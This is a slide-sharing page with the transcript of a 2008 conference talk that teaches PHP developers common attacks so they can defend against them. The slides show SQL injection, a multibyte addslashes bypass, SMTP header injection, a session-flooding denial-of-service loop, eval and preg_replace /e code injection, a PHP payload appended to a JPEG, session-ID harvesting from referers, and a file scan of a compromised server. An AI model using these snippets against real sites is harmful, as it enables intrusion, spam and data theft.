Upload File

exploiting php with php

71
Exploiting PHP with PHP Exploiting PHP with PHP Arpad Ray @ PHPNW08

Upload: jeremy-coates

Post on 28-Jun-2015

33.148 views

Category:

Technology


4 download

Report

Tags:

DESCRIPTION

Arpad Ray's PHPNW08 slides:Looking at websites from the perspective of potential attackers is a useful technique not only for security professionals.This talk demonstrates how to use simple PHP scripts to exploit many common security holes in PHP applications, hopefully giving developers a deeper understanding of what it is they are protecting against. * Getting around common precautions against SQL injection * Free spam with SMTP injection * Making a malicious website to exploit PHP sessions * The holes every attacker hopes for * Making use of a newly exploited website

TRANSCRIPT

Page 1: Exploiting Php With Php

Exploiting PHPwith PHP

Exploiting PHP with PHPArpad Ray @ PHPNW08

Page 2: Exploiting Php With Php

Exploiting PHPwith PHP

Why use PHP for this?

•We already know how to write PHP

Page 3: Exploiting Php With Php

Exploiting PHPwith PHP

Why use PHP for this?

•We already know how to write PHP

•Can use directly in test scripts

Page 4: Exploiting Php With Php

Exploiting PHPwith PHP

Why use PHP for this?

•We already know how to write PHP

•Can use directly in test scripts

•PHP provides everything we need

Page 5: Exploiting Php With Php

Exploiting PHPwith PHP

Why use PHP for this?

•We already know how to write PHP

•Can use directly in test scripts

•PHP provides everything we need

•Writing PHP can be very quick

Page 6: Exploiting Php With Php

Exploiting PHPwith PHP

Why use PHP for this?

•We already know how to write PHP

•Can use directly in test scripts

•PHP provides everything we need

•Writing PHP can be very quick

•Can efficiently re-use and combine attacks

Page 7: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection•Probably the first attack most PHP developers hear of

Page 8: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = $_GET[id]";

Page 9: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = $_GET[id]";

index.php?id=1 OR 1=1$_GET['id'] = '1 OR 1=1';

Page 10: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = $_GET[id]";

index.php?id=1 OR 1=1$_GET['id'] = '1 OR 1=1';

$q = "SELECT * FROM foobar WHERE id = 1 OR 1=1";

Page 11: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = '$_GET[id]'";

Page 12: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = '$_GET[id]'";

index.php?id=' OR ''='$_GET['id'] = “' OR ''='”;

Page 13: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = '$_GET[id]'";

index.php?id=' OR ''='$_GET['id'] = “' OR ''='”;

$q = "SELECT * FROM foobar WHERE id = '' OR ''=''";

Page 14: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = '$_POST[id]'";

Page 15: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = $_POST[id]";

<form method=”post” action=”http://example.com/foo.php”>

<input type=”hidden” name=”id” value=”1 OR 1=1” /> <input type=”submit” /></form>

Page 16: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = "SELECT * FROM foobar WHERE id = $_POST[id]";

$context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => 'id=1 OR 1=1')));file_get_contents('http://example.com/foo.php', false, $context);

Page 17: Exploiting Php With Php

Exploiting PHPwith PHP

SQL injection

$q = 'SELECT * FROM foobar WHERE id = ' . addslashes($id);

Page 18: Exploiting Php With Php

Exploiting PHPwith PHP

addslashes()

$id = addslashes($_POST['id']);$q = "SELECT * FROM foobar WHERE id = '$id'";

$_POST['id'] = “' OR ''='”;

$q = "SELECT * FROM foobar WHERE id = '\' OR \'\'=\''";

Page 19: Exploiting Php With Php

Exploiting PHPwith PHP

addslashes()•Getting around that pesky backslash

Page 20: Exploiting Php With Php

Exploiting PHPwith PHP

addslashes()•Getting around that pesky backslash

•Multi-byte character attacks

Page 21: Exploiting Php With Php

Exploiting PHPwith PHP

addslashes()•Getting around that pesky backslash

•Multi-byte character attacks

•Swallow the backslash with a multi-byte character ending with that byte

Page 22: Exploiting Php With Php

Exploiting PHPwith PHP

addslashes()•Getting around that pesky backslash

•Multi-byte character attacks

•Swallow the backslash with a multi-byte character ending with that byte

•<start of mb character><single quote>// apply addslashes()<mb character><single quote>

Page 23: Exploiting Php With Php

Exploiting PHPwith PHP

addslashes()

$mbCharacter = "\xBF\x5C";$quote = substr($mbCharacter, 0, -1) . '\'';

Page 24: Exploiting Php With Php

Exploiting PHPwith PHP

addslashes()

$mbCharacter = "\xBF\x5C";$quote = substr($mbCharacter, 0, -1) . '\'';

$id = "$quote OR $quote$quote = $quote";$context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array('id' => $id)))));file_get_contents('http://example.com/foo.php', false, $context);

$q = "SELECT * FROM foobar WHERE id = '?' OR '?'='?'";

Page 25: Exploiting Php With Php

Exploiting PHPwith PHP

addslashes()

$mbCharacter = "\xBF\x5C";$quote = substr($mbCharacter, 0, -1) . '\'';

$id = "$quote OR 1=1 /*";$context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array('id' => $id)))));file_get_contents('http://example.com/foo.php', false, $context);

$q = "SELECT * FROM foobar WHERE id = '?' OR 1=1 /*'";

Page 26: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•Uses addslashes() so escaping is not secure

Page 27: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•Uses addslashes() so escaping is not secure

•Fosters complacency

Page 28: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•Uses addslashes() so escaping is not secure

•Fosters complacency

•Applications using magic quotes are much harder to make truly portable

Page 29: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•Uses addslashes() so escaping is not secure

•Fosters complacency

•Applications using magic quotes are much harder to make truly portable

•Inconsistencies between PHP versions

Page 30: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc$context = stream_context_create(array('http' => array( 'user_agent' => $foo)));

$context = stream_context_create(array('http' => array( 'method' => 'get' 'header' => 'X-Foo: ' . $foo)));

Page 31: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc? scalar'1=foo&array'1[scalar'2]=foo&array'1[array'2][scalar'3]=foo

Page 32: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•Expected result:

Array( [scalar\'1] => foo [array\'1] => Array ( [scalar\'2] => foo [array\'2] => Array ( [scalar\'3] => foo ) ))

Page 33: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•PHP 4.3.3

Array( [scalar'1] => foo [array'1] => Array ( [scalar'2] => foo [array\'2] => Array ( [scalar'3] => foo ) ))

Page 34: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•PHP 4.4.0

Array( [scalar'1] => foo [array'1] => Array ( [scalar\'2] => foo [array\'2] => Array ( [scalar\'3] => foo ) ))

Page 35: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•PHP 5.0.0 (OFF)

Array( [scalar\'1] => foo [array\'1] => Array ( [scalar\'2] => foo [array\'2] => Array ( [scalar\'3] => foo ) ))

Page 36: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•PHP 5.2.2

Array( [scalar\'1] => foo [array\'1] => Array ( [scalar\'2] => foo [array\'2] => Array ( [scalar\'3] => foo ) ))

Page 37: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•There are also problems disabling magic_quotes_gpc

Page 38: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•There are also problems disabling magic_quotes_gpc

function stripslashes_deep($value){ $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value;}

Page 39: Exploiting Php With Php

Exploiting PHPwith PHP

magic_quotes_gpc•There are also problems disabling magic_quotes_gpc

•Instead of passing id=1 we can pass:'id' . str_repeat('[]', 1000) . '=1'

•We can trivially force the web server to do a lot of unnecessary work

Page 40: Exploiting Php With Php

Exploiting PHPwith PHP

Denial of Service•Failure to release resources

Page 41: Exploiting Php With Php

Exploiting PHPwith PHP

Denial of Service•Failure to release resources

•Writing user data to disk

Page 42: Exploiting Php With Php

Exploiting PHPwith PHP

Denial of Servicefunction fill_sessions($url, $num = 1000)

{ $context = stream_context_create(array( 'http' => array( 'method' => 'HEAD' ) )); for ($i = $num; $i--;) { file_get_contents($url, false, $context); }}

Page 43: Exploiting Php With Php

Exploiting PHPwith PHP

Denial of Service•Failure to release resources

•Writing user data to disk

•Locking customer accounts

Page 44: Exploiting Php With Php

Exploiting PHPwith PHP

SMTP injection

Page 45: Exploiting Php With Php

Exploiting PHPwith PHP

SMTP injection$to = '[email protected]';

$subject = $_POST['subject'];

$from = $_POST['from'];

mail($to, $subject, 'From: ' . $from);

Page 46: Exploiting Php With Php

Exploiting PHPwith PHP

SMTP injection$context =

stream_context_create(array('http' => array(

'method' => 'post'

'content' => http_build_query(array(

'subject' => "foo\r\nCc: [email protected]",

'from' => "[email protected]\r\nCc: [email protected]"

))

)));

Page 47: Exploiting Php With Php

Exploiting PHPwith PHP

SMTP injection•Variable mail address

Page 48: Exploiting Php With Php

Exploiting PHPwith PHP

SMTP injection•Variable mail address

•Sanitisation

Page 49: Exploiting Php With Php

Exploiting PHPwith PHP

SMTP injection•Variable mail address

•Sanitisation

•Validation

Page 50: Exploiting Php With Php

Exploiting PHPwith PHP

SMTP injection•Variable mail address

•Sanitisation

•Validation

•/^[^@]+@(?:\w+\.)+\w{2,6}$/

Page 51: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•Direct eval() injection

Page 52: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•Direct eval() injection

class Foo { function Foo() { $a = func_get_args(); print_r($a); } }

eval('$foo = new Foo(' . implode(',', $args) . ');');

Page 53: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•Direct eval() injection

$args[0] = 'readfile(“/etc/passed”)';

Page 54: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•preg_replace() using /e modifier

$s = '$-42 dollars';

preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)

$s = '42';

Page 55: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•preg_replace() using /e modifier

$s = '$1).foobar().abs(1 dollars';

preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)

$s = '4242';

Page 56: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•preg_replace() using /e modifier

$s = '$1).readfile(chr(47).chr(101)...abs(1 dollars';

preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)

$s = '4242';

Page 57: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•Variable in include() call

$page = $_GET['page'];include $page;

Page 58: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•Direct eval() injection

•preg_replace() using /e modifier

•Variable in include() call

•Uploading PHP files

Page 59: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•Uploading PHP files

•Check file extension

•Check uploaded MIME type

•Check file MIME type

•Move outside of web root

Page 60: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities$script = <<<EOT<?phpvar_dump('hello world!');EOT;$jpeg = '/path/to/some_valid.jpg';

$fp = fopen($jpeg, 'ab');fwrite($fp, $script);fclose($fp);

Page 61: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•Direct eval() injection

•preg_replace() using /e modifier

•Variable in include() call

•Uploading PHP files

Page 62: Exploiting Php With Php

Exploiting PHPwith PHP

Hot vulnerabilities

•Direct eval() injection

•preg_replace() using /e modifier

•Variable in include() call

•Uploading PHP files

•Shell injection

Page 63: Exploiting Php With Php

Exploiting PHPwith PHP

Making an evil website

•HTTP requests can give us lots of interesting information

•PHPSESSID = bingo

Page 64: Exploiting Php With Php

Exploiting PHPwith PHP

Making an evil website

if (isset($_SESSION['HTTP_REFERER'])) { if (preg_match(' / PHPSESSID=([^=&]+) /xi', $_SESSION['HTTP_REFERER']));}

Page 65: Exploiting Php With Php

Exploiting PHPwith PHP

Making an evil website

if (isset($_SESSION['HTTP_REFERER'])) { if (preg_match(' / PHPSESSID=([^=&]+)

|

(?<==)([a-f\d]{32}|[a-f\d]{40})\b /xi', $_SESSION['HTTP_REFERER']));}

Page 66: Exploiting Php With Php

Exploiting PHPwith PHP

Making use of victims

•File scan

Page 67: Exploiting Php With Php

Exploiting PHPwith PHP

Making use of victims

•File scan

$dir = new RecursiveIteratorIterator(

new RecursiveDirectoryIterator('/', true)

);

foreach ($dir as $file) {

echo $file->getPathname(), "\n";

}

Page 68: Exploiting Php With Php

Exploiting PHPwith PHP

Making use of victims

•File scan

•Subverting existing files

Page 69: Exploiting Php With Php

Exploiting PHPwith PHP

Making use of victims

•File scan

•Subverting existing files

•Escalate privileges, take over machine

Page 70: Exploiting Php With Php

Exploiting PHPwith PHP

Making use of victims

•File scan

•Subverting existing files

•Escalate privileges, take over machine

•botnet.php

Page 71: Exploiting Php With Php

Exploiting PHPwith PHP

Questions?


OOP with PHP

1 Intro To PHP David Lash Getting Started With PHP

Exploiting PHP-7 unserialize - Check Point Blog · PDF fileExploiting PHP-7 unserialize: Teaching a New Dog Old Tricks HISTORY Exploiting server side bugs or vulnerabilities is a jackpot

Exploiting With it

Think php 10, parsing with PHP

Php meetup continuous delivery with PHP

PHP Source Code Search with PHP

PHP with XML

PHP Tutorials Examples Object Oriented Programming With PHP

Exploiting IBM PowerVM Virtualization Features with IBM ... · iv Exploiting IBM PowerVM Virtualization Features with IBM ... Tips and tricks ... viii Exploiting IBM PowerVM Virtualization

OOP with PHP - Joensuucs.joensuu.fi/pages/bednarik/OOP/OOPHP.pdf · OOP with PHP what is PHP? - development PHP = PHP Hypertext Preprocessor Originally a collection of scripts Developed

Undercover PHP – Supporting PHP with non-web tools

Exploiting Complexity with SenseMaker®

PHP on Windows Overview. AGENDA MS Support for PHP community WS08 +PHP FASTCGI Enhancing PHP with IIS Extending PHP with.NET

Memphis php html form processing with php

5. PHP Working with User Input - PHP & MySQL Web Development

Integrating PHP Projects with Jenkins - O'Reilly Mediaassets.en.oreilly.com/1/event/80/Integrating PHP Projects with... · Integrating PHP Projects with Jenkins Sebastian Bergmann

10. Working with Databases in PHP - PHP & MySQL Web Development

Database Access with PHP - Internet Applications, ID1354 · With PHP Database Access with PHP Internet Applications, ID1354 ... With PHP Database I Adatabaseis ... corresponds toclassin

Exploiting with Metasploi Exploiting with Metasploit - hacking

Exploiting vectorization with ISPC

[Developer Shed Network] Server Side - PHP - PDF Generation With PHP

Lec_6 Manipulating MySQL Databases with PHP PHP Programming with MySQL

Chapter 1 Getting Started with PHP PHP Programming with MySQL

Logging With PHP

8. Object Oriented Programming with PHP - PHP & MySQL Web Development

Dependency Injection with PHP and PHP 5.3

PHP with MYSQL

Exploiting Concurrency with Dynamic Languages

Server-Side Scripting with PHP ISYS 475. PHP Manual Website

Working With PHP

Exploiting Semantics with Structured Queries

Parsing with PHP

Abusing, Exploiting and Pwning with Firefox Add-ons-exploiting... · Learn | Contribute | Share 1 Abusing, Exploiting and Pwning with Firefox Add-ons ... • Xenotix Session Stealer

Exploiting Fine-Grained Data Parallelism with Chip ...meiyang/ecg700/readings/Exploiting Fine...Exploiting Fine-Grained Data Parallelism with Chip Multiprocessors and Fast Barriers